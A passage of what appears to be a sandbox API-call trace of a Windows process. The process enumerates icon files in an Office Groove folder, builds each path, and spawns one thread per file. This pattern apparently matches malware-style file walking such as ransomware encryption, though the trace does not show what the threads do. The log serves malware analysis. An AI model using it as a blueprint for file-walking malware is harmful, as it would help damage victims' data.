ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6cd3edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutofSyncIconImages.jpg", cAlternateFileName="OUTOFS~1.JPG")) returned 1 [0126.917] wcscmp (_String1="OutofSyncIconImages.jpg", _String2=".") returned 1 [0126.917] wcscmp (_String1="OutofSyncIconImages.jpg", _String2="..") returned 1 [0126.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b8630c0 [0126.918] wcscpy (in: _Dest=0x1b8630c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.918] wcscat (in: _Dest=0x1b8630c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.918] wcscat (in: _Dest=0x1b8630c0, _Source="OutofSyncIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg" [0126.918] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8630c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb68 [0126.919] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x59c42b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutofSyncIconImagesMask.bmp", cAlternateFileName="OUTOFS~1.BMP")) returned 1 [0126.919] wcscmp (_String1="OutofSyncIconImagesMask.bmp", _String2=".") returned 1 [0126.919] wcscmp (_String1="OutofSyncIconImagesMask.bmp", _String2="..") returned 1 [0126.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x20279070 [0126.919] wcscpy (in: _Dest=0x20279070, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.919] wcscat (in: _Dest=0x20279070, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.919] wcscat (in: _Dest=0x20279070, _Source="OutofSyncIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp" [0126.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20279070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb64 [0126.920] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a3c500, ftCreationTime.dwHighDateTime=0x1ca032f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a3c500, ftLastWriteTime.dwHighDateTime=0x1ca032f, nFileSizeHigh=0x0, nFileSizeLow=0x5203, dwReserved0=0x0, dwReserved1=0x0, cFileName="PicturesToolIconImages.jpg", cAlternateFileName="PICTUR~1.JPG")) returned 1 [0126.920] wcscmp (_String1="PicturesToolIconImages.jpg", _String2=".") returned 1 [0126.920] wcscmp (_String1="PicturesToolIconImages.jpg", _String2="..") returned 1 [0126.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20278bf0 [0126.920] wcscpy (in: _Dest=0x20278bf0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.921] wcscat (in: _Dest=0x20278bf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.921] wcscat (in: _Dest=0x20278bf0, _Source="PicturesToolIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImages.jpg" [0126.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20278bf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb60 [0126.955] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a5d00, ftCreationTime.dwHighDateTime=0x1ca032e, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe1a5d00, ftLastWriteTime.dwHighDateTime=0x1ca032e, nFileSizeHigh=0x0, nFileSizeLow=0x1238, dwReserved0=0x0, dwReserved1=0x0, cFileName="PicturesToolIconImagesMask.bmp", cAlternateFileName="PICTUR~1.BMP")) returned 1 [0126.955] wcscmp (_String1="PicturesToolIconImagesMask.bmp", _String2=".") returned 1 [0126.955] wcscmp (_String1="PicturesToolIconImagesMask.bmp", _String2="..") returned 1 [0126.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x20278d70 [0126.956] wcscpy (in: _Dest=0x20278d70, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.956] wcscat (in: _Dest=0x20278d70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.956] wcscat (in: _Dest=0x20278d70, _Source="PicturesToolIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImagesMask.bmp" [0126.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20278d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa28 [0126.958] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuestionIcon.jpg", cAlternateFileName="QUESTI~1.JPG")) returned 1 [0126.958] wcscmp (_String1="QuestionIcon.jpg", _String2=".") returned 1 [0126.958] wcscmp (_String1="QuestionIcon.jpg", _String2="..") returned 1 [0126.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4205d690 [0126.958] wcscpy (in: _Dest=0x4205d690, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.958] wcscat (in: _Dest=0x4205d690, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.958] wcscat (in: _Dest=0x4205d690, _Source="QuestionIcon.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIcon.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIcon.jpg" [0126.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa24 [0126.959] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuestionIconMask.bmp", cAlternateFileName="QUESTI~1.BMP")) returned 1 [0126.959] wcscmp (_String1="QuestionIconMask.bmp", _String2=".") returned 1 [0126.959] wcscmp (_String1="QuestionIconMask.bmp", _String2="..") returned 1 [0126.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b862f60 [0126.960] wcscpy (in: _Dest=0x1b862f60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.960] wcscat (in: _Dest=0x1b862f60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.960] wcscat (in: _Dest=0x1b862f60, _Source="QuestionIconMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIconMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIconMask.bmp" [0126.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862f60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa20 [0126.961] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x64fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared16x16Images.jpg", cAlternateFileName="SHARED~1.JPG")) returned 1 [0126.961] wcscmp (_String1="Shared16x16Images.jpg", _String2=".") returned 1 [0126.961] wcscmp (_String1="Shared16x16Images.jpg", _String2="..") returned 1 [0126.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b862eb0 [0126.961] wcscpy (in: _Dest=0x1b862eb0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.961] wcscat (in: _Dest=0x1b862eb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.961] wcscat (in: _Dest=0x1b862eb0, _Source="Shared16x16Images.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16Images.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16Images.jpg" [0126.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862eb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x514 [0126.962] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared16x16ImagesMask.bmp", cAlternateFileName="SHARED~1.BMP")) returned 1 [0126.962] wcscmp (_String1="Shared16x16ImagesMask.bmp", _String2=".") returned 1 [0126.962] wcscmp (_String1="Shared16x16ImagesMask.bmp", _String2="..") returned 1 [0126.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x202785f0 [0126.962] wcscpy (in: _Dest=0x202785f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.963] wcscat (in: _Dest=0x202785f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.963] wcscat (in: _Dest=0x202785f0, _Source="Shared16x16ImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16ImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16ImagesMask.bmp" [0126.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202785f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x56c [0126.964] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1963, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared24x24Images.jpg", cAlternateFileName="SHARED~2.JPG")) returned 1 [0126.964] wcscmp (_String1="Shared24x24Images.jpg", _String2=".") returned 1 [0126.964] wcscmp (_String1="Shared24x24Images.jpg", _String2="..") returned 1 [0126.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b863170 [0126.964] wcscpy (in: _Dest=0x1b863170, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.964] wcscat (in: _Dest=0x1b863170, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.964] wcscat (in: _Dest=0x1b863170, _Source="Shared24x24Images.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24Images.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24Images.jpg" [0126.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x910 [0126.965] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1638, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared24x24ImagesMask.bmp", cAlternateFileName="SHARED~2.BMP")) returned 1 [0126.965] wcscmp (_String1="Shared24x24ImagesMask.bmp", _String2=".") returned 1 [0126.965] wcscmp (_String1="Shared24x24ImagesMask.bmp", _String2="..") returned 1 [0126.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20278770 [0126.965] wcscpy (in: _Dest=0x20278770, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.965] wcscat (in: _Dest=0x20278770, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.965] wcscat (in: _Dest=0x20278770, _Source="Shared24x24ImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24ImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24ImagesMask.bmp" [0126.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20278770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7bc [0126.982] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="SketchIconImages.bmp", cAlternateFileName="SKETCH~1.BMP")) returned 1 [0126.982] wcscmp (_String1="SketchIconImages.bmp", _String2=".") returned 1 [0126.983] wcscmp (_String1="SketchIconImages.bmp", _String2="..") returned 1 [0126.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b862ca0 [0126.983] wcscpy (in: _Dest=0x1b862ca0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.983] wcscat (in: _Dest=0x1b862ca0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.983] wcscat (in: _Dest=0x1b862ca0, _Source="SketchIconImages.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\SketchIconImages.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\SketchIconImages.bmp" [0126.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862ca0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa5c [0126.984] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x0, dwReserved1=0x0, cFileName="spacebackupicons.jpg", cAlternateFileName="SPACEB~1.JPG")) returned 1 [0126.984] wcscmp (_String1="spacebackupicons.jpg", _String2=".") returned 1 [0126.984] wcscmp (_String1="spacebackupicons.jpg", _String2="..") returned 1 [0126.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b862bf0 [0126.984] wcscpy (in: _Dest=0x1b862bf0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.984] wcscat (in: _Dest=0x1b862bf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.984] wcscat (in: _Dest=0x1b862bf0, _Source="spacebackupicons.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg" [0126.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862bf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x590 [0126.985] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="spacebackupiconsmask.bmp", cAlternateFileName="SPACEB~1.BMP")) returned 1 [0126.985] wcscmp (_String1="spacebackupiconsmask.bmp", _String2=".") returned 1 [0126.986] wcscmp (_String1="spacebackupiconsmask.bmp", _String2="..") returned 1 [0126.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b8629e0 [0126.986] wcscpy (in: _Dest=0x1b8629e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.986] wcscat (in: _Dest=0x1b8629e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.986] wcscat (in: _Dest=0x1b8629e0, _Source="spacebackupiconsmask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupiconsmask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupiconsmask.bmp" [0126.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8629e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x594 [0126.987] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOPICON.JPG", cAlternateFileName="")) returned 1 [0126.987] wcscmp (_String1="STOPICON.JPG", _String2=".") returned 1 [0126.987] wcscmp (_String1="STOPICON.JPG", _String2="..") returned 1 [0126.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x4205d2d0 [0126.987] wcscpy (in: _Dest=0x4205d2d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.987] wcscat (in: _Dest=0x4205d2d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.987] wcscat (in: _Dest=0x4205d2d0, _Source="STOPICON.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\STOPICON.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\STOPICON.JPG" [0126.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d2d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb30 [0126.988] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="StopIconMask.bmp", cAlternateFileName="STOPIC~1.BMP")) returned 1 [0126.988] wcscmp (_String1="StopIconMask.bmp", _String2=".") returned 1 [0126.988] wcscmp (_String1="StopIconMask.bmp", _String2="..") returned 1 [0126.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4205d370 [0126.988] wcscpy (in: _Dest=0x4205d370, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.989] wcscat (in: _Dest=0x4205d370, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft 